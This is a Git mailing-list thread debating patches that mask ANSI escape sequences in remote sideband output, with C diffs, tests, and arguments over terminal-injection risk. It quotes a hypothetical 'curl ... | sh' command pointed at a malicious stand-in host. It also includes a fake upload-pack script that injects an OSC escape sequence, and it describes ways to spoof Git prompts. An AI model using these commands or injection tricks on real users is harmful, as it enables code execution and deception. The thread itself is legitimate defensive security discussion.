> > other defense-in-depth measures, that doesn't avoid the inconvenience
> > and hassle of dealing with those changes and the costs of deploying
> > fixes everywhere.
>
> One more thing that I am not so happy about these "escape hatches"
> is that they tend to be all or nothing (not limited to this round,
> but common to other defense-in-depth attempts).  Having to say "I
> trust them completely" is something that would make people uneasy.
>
> > We need to consider the costs and impact of these
> > patches on our users, including the burden of dealing with incompatible
> > changes, and given the fact that this problem can occur in a wide
> > variety of other contexts which you are not solving here and which would
> > be better solved more generally in terminal emulators themselves, I
> > don't think the benefits of this approach outweigh the downsides.
> >
> > I do agree that there are terminal emulators which have some surprising
> > and probably insecure behaviour, as we've discussed in the past, but
> > because I believe those issues are more general and could be a problem
> > for any terminal-using program, I continue to believe that those issues
> > are best addressed in the terminal emulator itself.
>


-- 

Ondřej Pohořelský

Software Engineer

Red Hat

opohorel@redhat.com

Re: [PATCH 0/3] Sanitize sideband channel messages

[Junio C Hamano]

Ondrej Pohorelsky <opohorel@redhat.com> writes:

> From
> the discussion, it seems the fix may not be shipped in the near
> future, if at all.

A patchset was sent, one person assessed that it is not solving the
right problem and introduces regressions, another person agreed.

It is not quite a discussion (yet) and I think there could be more
convincing argument for accepting regressions made, so I personally
feel that it is too early to call it settled yet, but without seeing
any further counter-arguments, I agree with you that things seem
that way.

Thanks.

Re: [PATCH 0/3] Sanitize sideband channel messages

[Johannes Schindelin]

Hi Junio,

On Wed, 15 Jan 2025, Junio C Hamano wrote:

> "brian m. carlson" <sandals@crustytoothpaste.net> writes:
> 
> > Where pre-receive hooks are available, people frequently run various
> > commands to test and analyze code in them, including build or static
> > analysis tools, such as Rust's Cargo.  Cargo is capable of printing a
> > wide variety of escape sequences in its output, including `\e[K`, which
> > overwrites text to the right (e.g., for progress bars and status output
> > much like Git produces), and sequences for hyperlinks.  Stripping these
> > sequences would break the output in ways that would be confusing to the
> > user (since they work fine in a regular terminal) and hard to
> > reproduce or fix.
> 
> You have ruled out the attack vector that lets bytestream sent to
> the terminal emulator to somehow cause arbitrary input bytes added
> (which may require the final <ENTER> from the user but that is not
> much of consolation), and I tend to agree with you on that point.

So you haven't come across `OSC P 1 0 ; ? ST` (see e.g.
https://www.xfree86.org/current/ctlseqs.html#:~:text=OSC%20P%20s%20;%20P%20t%20ST
for this control sequence, as well as others that elicit responses from
terminal emulators, from current cursor position to terminal
capabilities)? I use this Escape sequence myself in my `tmux` sessions to
toggle the colors between bright-on-dark and dark-on-bright.

It is true that many terminal emulators started disabling support for such
Escape sequences. But that's not because the terminal emulators' features
were buggy. That's because some console programs are buggy, allowing
payload originating from outside the user's trust boundary to be passed
through to the terminal without proper sanitizing. That's what the entire
CWE-150 weakness class (https://cwe.mitre.org/data/definitions/150.html)
is all about.

And yes, it's the console programs that are buggy, not the terminal
emulators. It has always been the contract between terminal emulators and
software using those terminal emulators' features that the bytes that are
sent to the terminal emulator can do amazing stuff via control sequences
(that's the terminal emulators' promise) and the responsibility of the
software sending those bytes, in turn, is to make sure that it only sends
control characters intentionally and does not nilly-willy pass through
untrusted data from random outside sources.

That's the reason why even `tar` sanitizes its output, see
https://www.gnu.org/software/tar/manual/html_node/quoting-styles.html. Or
for that matter, cURL, see https://github.com/curl/curl/pull/1512 where
Escape sequences were part of the rationale.

While `mutt` might not sanitize the Escape sequences in the emails it
displays, it does something even better: It implements its own terminal
emulator that interprets only a very limited set of ANSI Escape sequences.
But since it uses ANSI Escape sequences to render the output, so in a very
convoluted way it _does_ sanitize Escape sequences.

Basically, all console programs interacting with terminal emulators are
careful about sanitizing untrusted payload before sending it to be
rendered.

In short, in this context it is clearly Git's responsibility to ensure
that control sequences do not originate from some stranger's server on the
internet and then are naively passed through to the terminal emulator
without the user's blessing. Git uses coloring sequences, after all, so it
benefits from the contract with the terminal emulator, and it must uphold
its end of the bargain, too.

Git also does an okay job of avoiding those color sequences when its
output does not even go to a terminal emulator, or when the `TERM`
environment variable indicates that the terminal emulator lacks
the prerequisite capabilities. (To do a better job, it would have to
query the terminal's capabilities, a job better left to libraries like
ncurses).

That check, whether the output is even sent to a terminal emulator or not,
is notably something that cannot ever be done by those `pre-receive` hooks
that were held up as examples to block this here patch series: They have
no way of knowing whether or not their output goes to a terminal, but they
send the control sequences anyway. Because YOLO, I guess. In that
respect, I think that even you two would agree that those `pre-receive`
hooks are broken by design.

> With that misfeature out of the picture, I am not sure why terminal
> escape sequences that may clear or write-over things on the screen
> are of particular interest.

It is important for attackers to try to hide any traces that might alert
their victims that they are being attacked. One fine way to do that is to
hide the output that would otherwise scream "You are under attack!" to the
user. Writing over such tell-tales, or erasing them altogether, is the
perfect tool for the job. As such, they are clearly of particular interest
in this context.

Sure, it is conceivable that there might be use cases where it _is_
desirable that certain text is first written and then overwritten by the
remote side. But the fact remains that it forcibly keeps open the door to
deceive the user into believing that they see something that they do not
actually see.

For example, Git goes out of its way to write out sideband messages only
with the `remote:` prefix. This is a very clear indicator that these
messages do not come from the local Git process, and users are very likely
to be extremely suspicious if they are prompted for some interactive input
in such a message. Allow the remote server to overwrite that prefix, and
you take away that indicator.

Besides, there are correct ways to send colored, or otherwise styled, text
to the user from the remote side: The remote side does not have the
ability to ask whether the output goes to a terminal, but the local Git
process does! The logic of color-coding the `error` and `warning` and
friends that was added in bf1a11f0a10 (sideband: highlight keywords in
remote sideband output, 2018-08-07) is a perfect example how this should
be done: The client side, the one with access to the terminal emulator,
decides what is permissible styling, and the remote side crafts its output
accordingly. No verbatim pass-through of control sequences, no
vulnerability, instant win. Well, not so instant, you first have to get
the patch on Git's side accepted, but that's par for the course.

Now, the capacities of modern terminal emulators are a far cry from what
they had been in the VT-100 times. As in: They have become drastically
more powerful. As illustrated at the beginning of my reply, there exist
powerful features to query information about the current terminal. Not all
of them are exploitable for malicious purposes on first sight. The crucial
part is: on first sight.

Also, it is relatively easy if you fail to protect your terminal emulator
to have your entire session messed up to a point where not even a `reset`
restores it. And corrupting the terminal session is still much better than
getting pranked by having all of Git's output be overwritten with a
picture of a snake (download the raw version of
https://github.com/csdvrx/sixel-testsuite/blob/master/snake.six -- after!
verifying that it is just a regular text file containing only a few
harmless escape sequences~ -- and then `cat` it to your terminal). That
could have been goatse, too, though. Or for that matter (as
https://github.com/mpv-player/mpv demonstrates, which allows you to render
entire Youtube videos in your current terminal window) you could be
Rick-rolled. And all of those are still pranks more than anything. Much
worse can be done with those terminal emulator capabilities.

> If the malicious remote end says something like
> 
>     To proceed, open another window and type this command:
> 
> 	$ curl https://my.malicious.xz/install.sh | sh
> 
> to its output, even if the message is shown with the "remote: "
> prefix on the receiving local client, wouldn't that cause certain
> percentage of end-user population to copy-and-paste that command
> anyway?

Sure, and there is no defending against users who voluntarily follow such
instructions without applying some healthy skepticism first. Not in Git,
anyways.

The kind of control illustrated above, however, can of course also be used
to pretend that _Git_ asks interactively for some input, using the exact
look&feel of Git's usual interactive prompts. And presented with something
like that, I would wager a bet that even you could fall for an elaborate
ruse, if I were a betting person. If I were still a student, with too much
time on my hands, I'd even try to prank you that way, purely for fun.

For the record, I was almost successfully gas-lit into believing that this
here issue is not even a vulnerability, as was claimed by some (but not
all) involved in the discussion on the Git security list. Fortunately I am
in a wonderful position that I have access to outstanding security
researchers, and I asked two of them, independently, to tell me whether or
not this is a vulnerability that needs to be fixed. Independently, both
agreed that my assessment "High" was too high, and it should have been
"Moderate" instead. At the same time, they also both agreed that it is a
vulnerability that should be fixed in Git.

I did hear that Google employs some excellent security professionals, too.
While I cannot ask them directly, I would be quite curious what they would
have to say about this issue. Maybe you could contact one or two?

Ciao,
Johannes

> 
> > I agree that this would have been a nice feature to add at the beginning
> > of the development of the sideband feature, but I fear that it is too
> > late to make an incompatible change now.
> 
> So I am not so sure even it would have been a "nice feature" to disallow
> sideband messages to carry terminal escape sequences to begin with.
> 
> > I realize that you've provided an escape hatch, but as we've seen with
> > other defense-in-depth measures, that doesn't avoid the inconvenience
> > and hassle of dealing with those changes and the costs of deploying
> > fixes everywhere.
> 
> One more thing that I am not so happy about these "escape hatches"
> is that they tend to be all or nothing (not limited to this round,
> but common to other defense-in-depth attempts).  Having to say "I
> trust them completely" is something that would make people uneasy.
> 
> > We need to consider the costs and impact of these
> > patches on our users, including the burden of dealing with incompatible
> > changes, and given the fact that this problem can occur in a wide
> > variety of other contexts which you are not solving here and which would
> > be better solved more generally in terminal emulators themselves, I
> > don't think the benefits of this approach outweigh the downsides.
> >
> > I do agree that there are terminal emulators which have some surprising
> > and probably insecure behaviour, as we've discussed in the past, but
> > because I believe those issues are more general and could be a problem
> > for any terminal-using program, I continue to believe that those issues
> > are best addressed in the terminal emulator itself.
> 
> 

Re: [PATCH 0/3] Sanitize sideband channel messages

[Johannes Schindelin]

[-- Attachment #1: Type: text/plain, Size: 16962 bytes --]

Hi Phillip,

On Wed, 15 Jan 2025, Phillip Wood wrote:

> On 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:
> > When a clone fails, users naturally turn to the output of the git
> > clone command. To assist in such scenarios, the output includes the messages
> > from the remote git pack-objects process, delivered via what Git calls the
> > "sideband channel."
> > 
> > Given that the remote server is, by nature, remote, there is no guarantee
> > that it runs an unmodified Git version. This exposes Git to ANSI escape
> > sequence injection (see
> > CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt
> > terminal state, hide information,
> 
> I agree we should think about preventing an untrusted remote process from
> making it look like its messages come from the trusted local process. At best
> it is confusing and at worst it might trick a user into running a malicious
> command if they think the message came from the local git process.

It's actually much worse. With the right approach, you could trick a user
to think that they interact with Git, when in reality they are executing a
command instead.

> We need to be careful not to break existing legitimate output though.

Well, given that that "legitimate output" sends control sequences, whether
the output goes to a terminal window or to a pipe to be parsed by an
application, I don't think that it is _all_ that legitimate.

But then, I don't know why some people keep harping about this when the
patch series as-is already passes those color sequences through by
default?

> Brian has already highlighted the need to support '\e[K' (clear to the
> end of the current line), we may also want to treat '\e[G' (move to
> column 1 on the current line) as '\r' in addition to SGR escapes in the
> last patch.

Consider this: One of the most effective ways to fool a victim is to hide
suspicious information from them. In that respect, it is undesirable to
pass through those sequences that would allow just that.

Besides, color me surprised that this is even necessary? What use case
could there be to erase to the end of the line from a remote process, when
that process' output is supposed to be text that arrives word by word,
line by line, no backsies? What use case would be there to send a Carriage
Return other than to hide the `remote:` prefix?

I did play with the idea of optionally passing through those two
sequences, though, and came up with this patch (don't worry if it does not
apply on top of v1 of this here patch series, my local branch is currently
a bit in flux):

-- snip --
diff --git a/sideband.c b/sideband.c
index 0025b51b4e1..f613d4d6cc3 100644
--- a/sideband.c
+++ b/sideband.c
@@ -28,9 +28,42 @@ static struct keyword_entry keywords[] = {
 static enum {
 	ALLOW_NO_CONTROL_CHARACTERS = 0,
 	ALLOW_ANSI_COLOR_SEQUENCES = 1<<0,
-	ALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,
-	ALLOW_ALL_CONTROL_CHARACTERS = 1<<1,
-} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;
+	ALLOW_ANSI_ERASE_IN_LINE = 1<<1,
+	ALLOW_ANSI_CURSOR_HORIZONTAL_ABSOLUTE = 1<<2,
+	ALLOW_DEFAULT_ANSI_SEQUENCES =
+		ALLOW_ANSI_COLOR_SEQUENCES |
+		ALLOW_ANSI_ERASE_IN_LINE |
+		ALLOW_ANSI_CURSOR_HORIZONTAL_ABSOLUTE,
+	ALLOW_ALL_CONTROL_CHARACTERS = 1<<3,
+} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;
+
+static inline int skip_prefix_in_csv(const char *value, const char *prefix,
+				     const char **out)
+{
+	if (!skip_prefix(value, prefix, &value) ||
+	    (*value && *value != ','))
+		return 0;
+	*out = value + !!*value;
+	return 1;
+}
+
+static void parse_allow_control_characters(const char *value)
+{
+	allow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;
+	while (*value) {
+		if (skip_prefix_in_csv(value, "default", &value))
+			allow_control_characters |= ALLOW_DEFAULT_ANSI_SEQUENCES;
+		else if (skip_prefix_in_csv(value, "color", &value))
+			allow_control_characters |= ALLOW_ANSI_COLOR_SEQUENCES;
+		else if (skip_prefix_in_csv(value, "erase-in-line", &value))
+			allow_control_characters |= ALLOW_ANSI_ERASE_IN_LINE;
+		else if (skip_prefix_in_csv(value, "cursor-horizontal-absolute", &value))
+			allow_control_characters |= ALLOW_ANSI_CURSOR_HORIZONTAL_ABSOLUTE;
+		else
+			warning(_("unrecognized value for `sideband."
+				  "allowControlCharacters`: '%s'"), value);
+	}
+}
 
 /* Returns a color setting (GIT_COLOR_NEVER, etc). */
 static int use_sideband_colors(void)
@@ -54,13 +87,8 @@ static int use_sideband_colors(void)
 		if (git_config_get_string_tmp("sideband.allowcontrolcharacters",
 					      &value))
 			; /* huh? `get_maybe_bool()` returned -1 */
-		else if (!strcmp(value, "default"))
-			allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;
-		else if (!strcmp(value, "color"))
-			allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;
 		else
-			warning(_("unrecognized value for `sideband."
-				  "allowControlCharacters`: '%s'"), value);
+			parse_allow_control_characters(value);
 		break;
 	default:
 		break; /* not configured */
@@ -93,7 +121,7 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
 		list_config_item(list, prefix, keywords[i].keyword);
 }
 
-static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)
+static int handle_ansi_sequence(struct strbuf *dest, const char *src, int n)
 {
 	int i;
 
@@ -107,12 +135,17 @@ static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int
 	 * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.
 	 */
 
-	if (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||
-	    n < 3 || src[0] != '\x1b' || src[1] != '[')
+	if (n < 3 || src[0] != '\x1b' || src[1] != '[')
 		return 0;
 
+error("allow: 0x%x", allow_control_characters);
 	for (i = 2; i < n; i++) {
-		if (src[i] == 'm') {
+		if ((src[i] == 'G' &&
+		     (allow_control_characters & ALLOW_ANSI_CURSOR_HORIZONTAL_ABSOLUTE)) ||
+		    (src[i] == 'K' &&
+		     (allow_control_characters & ALLOW_ANSI_ERASE_IN_LINE)) ||
+		    (src[i] == 'm' &&
+		     (allow_control_characters & ALLOW_ANSI_COLOR_SEQUENCES))) {
 			strbuf_add(dest, src, i + 1);
 			return i;
 		}
@@ -127,7 +160,7 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
 {
 	int i;
 
-	if (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {
+	if ((allow_control_characters & ALLOW_ALL_CONTROL_CHARACTERS)) {
 		strbuf_add(dest, src, n);
 		return;
 	}
@@ -136,7 +169,8 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
 	for (; n && *src; src++, n--) {
 		if (!iscntrl(*src) || *src == '\t' || *src == '\n')
 			strbuf_addch(dest, *src);
-		else if ((i = handle_ansi_color_sequence(dest, src, n))) {
+		else if (allow_control_characters != ALLOW_NO_CONTROL_CHARACTERS &&
+			 (i = handle_ansi_sequence(dest, src, n))) {
 			src += i;
 			n -= i;
 		} else {
diff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh
index 98c575e2e7f..a59accd0ec2 100755
--- a/t/t5409-colorize-remote-messages.sh
+++ b/t/t5409-colorize-remote-messages.sh
@@ -104,7 +104,7 @@ test_expect_success 'disallow (color) control sequences in sideband' '
 	printf "error: Have you \\033[31mread\\033[m this?\\a\\n" >&2
 	exec "$@"
 	EOF
-	test_config_global uploadPack.packObjectshook ./color-me-surprised &&
+	test_config_global uploadPack.packObjectsHook ./color-me-surprised &&
 	test_commit need-at-least-one-commit &&
 
 	git clone --no-local . throw-away 2>stderr &&
@@ -129,4 +129,42 @@ test_expect_success 'disallow (color) control sequences in sideband' '
 	test_file_not_empty actual
 '
 
+test_decode_csi() {
+	awk '{
+		while (match($0, /\033/) != 0) {
+			printf "%sCSI ", substr($0, 1, RSTART-1);
+			$0 = substr($0, RSTART + RLENGTH, length($0) - RSTART - RLENGTH + 1);
+		}
+		print
+	}'
+}
+
+test_expect_success 'control sequences in sideband allowed by default' '
+	write_script .git/color-me-surprised <<-\EOF &&
+	printf "error: \\033[31mcolor\\033[m\\033[Goverwrite\\033[Gerase\\033[K\\033?25l\\n" >&2
+	exec "$@"
+	EOF
+	test_config_global uploadPack.packObjectsHook ./color-me-surprised &&
+	test_commit need-at-least-one-commit-at-least &&
+
+	rm -rf throw-away &&
+	git clone --no-local . throw-away 2>stderr &&
+	test_decode_color <stderr >color-decoded &&
+	test_decode_csi <color-decoded >decoded &&
+	test_grep "CSI \\[K" decoded &&
+	test_grep "CSI \\[G" decoded &&
+	test_grep "\\^\\[?25l" decoded &&
+
+	rm -rf throw-away &&
+	git -c sideband.allowControlCharacters=erase-in-line,color \
+		clone --no-local . throw-away 2>stderr &&
+	test_decode_color <stderr >color-decoded &&
+	test_decode_csi <color-decoded >decoded &&
+	test_grep "RED" decoded &&
+	test_grep "CSI \\[K" decoded &&
+	test_grep ! "CSI \\[G" decoded &&
+	test_grep ! "\\^\\[\\[K" decoded &&
+	test_grep "\\^\\[\\[G" decoded
+'
+
 test_done
-- snap --

I am not particularly happy about the current shape of the patch because
the functionality it adds is not flexible enough. Currently I am thinking
about some sort of pattern matcher where users could configure
`sideband.allowControlCharacters="CSI [ K, CSI [ G"` or something. Or
`^[[K,^[[G`, i.e. reflecting the sanitized version of the control
sequences that should be passed through instead. But that might be totally
overengineered and not worth it.

After all, I have not received a single complaint about the new default in
Git for Windows, where only color sequences are passed through by default,
and all others are sanitized. which leads me to the very important
conclusion that the concerns that were raised, and that were considered
serious enough to prevent these patches to be included in the embargoed
release, were potentially far, far less concerning than originally
assumed.

Also: The suggestion on the git-security mailing list was to reach out for
input from the wider Git community to be able to come up with a better
solution than the small circle of developers on the git-security mailing
list could. Notwithstanding the fact that already the first reply to my
patch series sent a very strong message that at least one contributor
considered this already a closed case upon arrival, I have to point out
that apart from the ERASE-IN-LINE and CURSOR_HORIZONTAL_ABSOLUTE
suggestions, no other control sequences have been suggested as needing to
be passed through by default. And those suggestions came from someone who
had already been very vocal in the discussion on the git-security mailing
list, so maybe the suggestion to reach out to the wider commmunity was not
actually completely genuine interest in an improved patch series.

Besides, _iff_ there are users who need to enable control sequence
pass-through for anything else than color, they are likely to need that
only for a very small number of repositories, and for repositories whose
remote servers they trust, therefore they can easily just opt out of
sanitizing control sequences in those few repositories.

> > and even insert characters into the input buffer (as if the user had
> > typed those characters).
> 
> Maybe I've missed something but my understanding from the link above is that
> this is a non-issue for terminal emulators released in the last 20 years.

Oh, that's incorrect, at least if you talk about control sequences that
insert characters into the input buffer. Those control sequences which let
you query the terminal are used e.g. to determine the current window
dimensions. They very much insert characters into the input buffer. They
have to, there is no other way to return information back to the caller.

Maybe the _particular_ Escape sequence I talked about, to query the
foreground text color, has been quietly disabled in some terminal
emulators (but certainly not in all of them, I know, because I use that
feature in one of my terminal emulators all the time).

But I did caution already in the discussion on the git-security mailing
list against getting hung up with _one particular_ control sequence. Not
only does that forget about all the other wonderful control sequences used
for querying information from the terminal, they also completely neglect
that it is totally within terminal emulators' purview to introduce new
capabilities via new control sequences. Some people in this dicussion
would probably deem that stupid or terrible or something, or even that it
would render the terminal emulator _buggy_, but I'd argue that it's in the
same ballpark as introducing a new `git repo` command and breaking
everybody's setup who already had an `alias.repo`: It is _totally_ within
the remit of Git to introduce such a command _and_ break existing user's
setups that way. Just like it was within the Git project's rights to
rename all `.txt` files in `Documentation/`, breaking tons of existing
deeplinks on the web. Some people outside of the Git project rolled their
eyes about that decision, but they simply had no say in the matter. Same
goes for terminal emulators. The contract is clear: terminal emulators
interpret control sequences, software using them has to be careful what
control sequences it sends and has no vote which control sequences the
terminal emulator chooses to support or not.

Ciao,
Johannes

> In any case I think that that is a security bug in the emulator and
> should be fixed there as it has been in the past. I found [1] to be much
> more informative than the mitre link above about the actual
> vulnerabilities.
> 
> Best Wishes
> 
> Phillip
> 
> [1] https://marc.info/?l=bugtraq&m=104612710031920
> 
> > This patch series addresses this vulnerability by sanitizing the sideband
> > channel.
> > 
> > It is important to note that the lack of sanitization in the sideband
> > channel is already "exploited" by the Git user community, albeit in
> > well-intentioned ways. For instance, certain server-side hooks use ANSI
> > color sequences in error messages to make them more noticeable during
> > intentional failed fetches, e.g. as seen at
> > https://github.com/kikeonline/githook-explode and
> > https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php
> > 
> > To accommodate such use cases, Git will allow ANSI color sequences to pass
> > through by default, while presenting all other ASCII control characters in a
> > common form (e.g., presenting the ESC character as ^[).
> > 
> > This vulnerability was reported to the Git security mailing list in early
> > November, along with these fixes, as part of an iteration of the patches
> > that led to the coordinated security release on Tuesday, January 14th, 2025.
> > 
> > While Git for Windows included these fixes in v2.47.1(2), the consensus,
> > apart from one reviewer, was not to include them in Git's embargoed
> > versions. The risk was considered too high to disrupt existing scenarios
> > that depend on control characters received via the sideband channel being
> > sent verbatim to the user's terminal emulator.
> > 
> > Several reviewers suggested advising terminal emulator writers about these
> > "quality of implementation issues" instead. I was quite surprised by this
> > approach, as it seems overly optimistic to assume that terminal emulators
> > could distinguish between control characters intentionally sent by Git and
> > those unintentionally relayed from the remote server.
> > 
> > Please note that this patch series applies cleanly on top of v2.47.2. To
> > apply it cleanly on top of v2.40.4 (the oldest of the most recently serviced
> > security releases), the calls to test_grep need to be replaced with calls
> > to test_i18ngrep, and the calls to git_config_get_string_tmp() need to be
> > replaced with calls to git_config_get_string().
> > 
> > Johannes Schindelin (3):
> > sideband: mask control characters
> > sideband: introduce an "escape hatch" to allow control characters
> > sideband: do allow ANSI color sequences by default
> > 
> >   Documentation/config.txt            |  2 +
> >   Documentation/config/sideband.txt   | 16 ++++++
> >   sideband.c                          | 78 ++++++++++++++++++++++++++++-
> >   t/t5409-colorize-remote-messages.sh | 30 +++++++++++
> >   4 files changed, 124 insertions(+), 2 deletions(-)
> >   create mode 100644 Documentation/config/sideband.txt
> > 
> > 
> > base-commit: e1fbebe347426ef7974dc2198f8a277b7c31c8fe
> > Published-As:
> > https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v1
> > Fetch-It-Via: git fetch https://github.com/gitgitgadget/git
> > pr-1853/dscho/sanitize-sideband-v1
> > Pull-Request: https://github.com/gitgitgadget/git/pull/1853
> 
> 

Re: [PATCH 1/3] sideband: mask control characters

[Johannes Schindelin]

Hi Phillip,

On Wed, 15 Jan 2025, Phillip Wood wrote:

> Just a couple of small comments
> 
> On 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:
> > From: Johannes Schindelin <johannes.schindelin@gmx.de>
> > 
> > +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int
> > n)
> > +{
> > +	strbuf_grow(dest, n);
> > +	for (; n && *src; src++, n--) {
> > +		if (!iscntrl(*src) || *src == '\t' || *src == '\n')
> 
> Isn't it a bug to pass '\n' to maybe_colorize_sideband() ?

While a band 2 message is indeed split by newlines and fed to this
function line by line, which is the case for a long time already: since
ed1902ef5c6 (cope with multiple line breaks within sideband progress
messages, 2007-10-16), the same is not true for band 3 messages: They pass
the entire message in one go (and for multi-line payload, only the first
line is prefixed with `remote:`, which is arguably a bug, but not one that
is within this here patch series' scope).

See
https://gitlab.com/git-scm/git/-/blob/v2.52.0/sideband.c#L191 and
https://gitlab.com/git-scm/git/-/blob/v2.52.0/sideband.c#L176,
respectively.

So no, I don't think that we can currently consider it a bug to pass `\n`
as part of the `src` parameter to `maybe_colorize_sideband()`.

> > +			strbuf_addch(dest, *src);
> > +		else {
> > +			strbuf_addch(dest, '^');
> > +			strbuf_addch(dest, 0x40 + *src);
> 
> This will escape DEL ('\x7f') as "^\xbf" which is invalid in utf-8 locales.
> Perhaps we could use "^?" for that instead.

Good point! This seems to be the historical way to escape DEL, probably
because 0x3f ('?') is 0x7f + 0x40 truncated to 7 bits. I'll do this in the
next iteration:

-- snip --
diff --git a/sideband.c b/sideband.c
index f613d4d6cc3..684621579fd 100644
--- a/sideband.c
+++ b/sideband.c
@@ -175,7 +175,7 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
 			n -= i;
 		} else {
 			strbuf_addch(dest, '^');
-			strbuf_addch(dest, 0x40 + *src);
+			strbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);
 		}
 	}
 }
-- snap --

> 
> > +test_expect_success 'disallow (color) control sequences in sideband' '
> > +	write_script .git/color-me-surprised <<-\EOF &&
> > +	printf "error: Have you \\033[31mread\\033[m this?\\n" >&2
> > +	exec "$@"
> > +	EOF
> > +	test_config_global uploadPack.packObjectshook ./color-me-surprised &&
> > +	test_commit need-at-least-one-commit &&
> > +	git clone --no-local . throw-away 2>stderr &&
> > +	test_decode_color <stderr >decoded &&
> > +	test_grep ! RED decoded
> 
> I'd be happier if we used test_cmp() here so that we check that the sanitized
> version matches what we expect and the test does not pass if there a typo in
> the script above stops it from writing the SGR code for red.

I often debug test failures in Git's test suite and one of the most
annoying category of test failures is when test cases expect byte-wise
exact Git output that changed for totally legitimate reasons [*1*].

Even worse: In many of those instances, the _intent_ of the check is not
even clear from that `test_cmp` and has to be reconstructed, a boring,
tedious task with little benefit to show for the effort.

I much prefer tests like this one, where a precise `test_grep` states
exactly what it expects to be present, or missing. The intent of such a
command is much clearer than that of `test_cmp expect actual`.

So, much as I appreciate your suggestion, I would prefer to keep the code
as-is.

Ciao,
Johannes

Footnote *1*: This really is not hypothetical. I had to battle quite a bit
with unstable compression sizes that are part of a `test_cmp` comparison,
https://github.com/git-for-windows/git/pull/5926#issuecomment-3486556940
shows a bit of the problems but is very shy about providing the specific
number of days I spent on addressing this issue. In hindsight, I should
have spent at most two hours on converting that from a byte-wise
comparison to a qualitative comparison.

Re: [PATCH 0/3] Sanitize sideband channel messages

[brian m. carlson]

[-- Attachment #1: Type: text/plain, Size: 7735 bytes --]

On 2025-12-02 at 14:11:54, Johannes Schindelin wrote:
> So you haven't come across `OSC P 1 0 ; ? ST` (see e.g.
> https://www.xfree86.org/current/ctlseqs.html#:~:text=OSC%20P%20s%20;%20P%20t%20ST
> for this control sequence, as well as others that elicit responses from
> terminal emulators, from current cursor position to terminal
> capabilities)? I use this Escape sequence myself in my `tmux` sessions to
> toggle the colors between bright-on-dark and dark-on-bright.

So let's talk about this class of escape sequences with your patches for
a moment.  I compiled the patches in this series on my system and
changed the default PATH to use that client-side git binary (the
server-side is unchanged).  I have not changed any configuration related
to your patches, so the behaviour is the patch default.

I have a server called castro (after the San Francisco neighbourhood)
and I added the following script called `~/bin/fake-git-upload-pack`,
which should let us simulate a malicious server:

----
#!/bin/sh

printf '\033]10;rgb:ffff/ffff/ffff\007Hello, world!\n' >&2

exec git-upload-pack "$@"
----

This basically uses this class of escape sequences to change the
foreground colour to bright white.

I then ran a clone command, like so:

----
% git clone -u fake-git-upload-pack castro:~/git/css.git
Cloning into 'css'...
Hello, world!
remote: Enumerating objects: 663, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 663 (delta 0), reused 0 (delta 0), pack-reused 659 (from 1)
Receiving objects: 100% (663/663), 114.83 KiB | 38.28 MiB/s, done.
Resolving deltas: 100% (329/329), done.
----

Despite my patched Git binary, the escape sequence was executed and my
foreground colour was changed.  So I don't think these patches are
sufficient to actually fix the issue and I somewhat doubt that it's even
possible at all to defend against a malicious SSH server which would
like to send arbitrary escape sequences in general.

I don't think we can just close stderr or not wire it up to the TTY
because OpenSSH needs the TTY to prompt and doing so also breaks things
on Windows.[0]  There are also cases where the remote side sends
messages over the Banner portion of the protocol that are required for
auth ($DAYJOB sends a unique URL for 2FA, for instance) and redirecting
stderr to `/dev/null` would mean that people couldn't log into those
machines.

If it's the case that we effectively can't fix this for SSH, I don't see
the advantage to trying to patch this for HTTPS, since it would give a
false sense of security and many people use both in their daily work (I
certainly do).

> It is true that many terminal emulators started disabling support for such
> Escape sequences. But that's not because the terminal emulators' features
> were buggy. That's because some console programs are buggy, allowing
> payload originating from outside the user's trust boundary to be passed
> through to the terminal without proper sanitizing. That's what the entire
> CWE-150 weakness class (https://cwe.mitre.org/data/definitions/150.html)
> is all about.

It is in general very difficult to eliminate all sources of untrusted
input in the terminal because people run `cat` and a variety of other
tools on untrusted files all the time.  It would certainly be convenient
if we did not need to deal with that case, but we do nonetheless.
That's why we've tended to patch terminal emulators when escape
sequences execute code.

> That check, whether the output is even sent to a terminal emulator or not,
> is notably something that cannot ever be done by those `pre-receive` hooks
> that were held up as examples to block this here patch series: They have
> no way of knowing whether or not their output goes to a terminal, but they
> send the control sequences anyway. Because YOLO, I guess. In that
> respect, I think that even you two would agree that those `pre-receive`
> hooks are broken by design.

I don't agree.  Lots of systems that are not terminals interpret
at least some terminal escape sequences, such as GitHub Actions.  And I
can tell you that there are a substantial number of organizations that do
indeed have actual pre-receive hooks in production that use terminal
escape sequences without actually knowing that the other side supports
them because I have had to troubleshoot those pre-receive hooks.

Even if we were to agree that it might not be desirable to send terminal
escape sequences without knowing if there's a terminal, people do it,
and even Vim does it (try `TERM=dumb vim -e`, whereupon it will send
escape sequences, much to my annoyance).  I don't think we can say that
everybody thinks this kind of thing is unreasonable and clearly some
people very much want to do it and make reasonably good use of it, so
it's a use case we should consider.

> Also, it is relatively easy if you fail to protect your terminal emulator
> to have your entire session messed up to a point where not even a `reset`
> restores it. And corrupting the terminal session is still much better than
> getting pranked by having all of Git's output be overwritten with a
> picture of a snake (download the raw version of
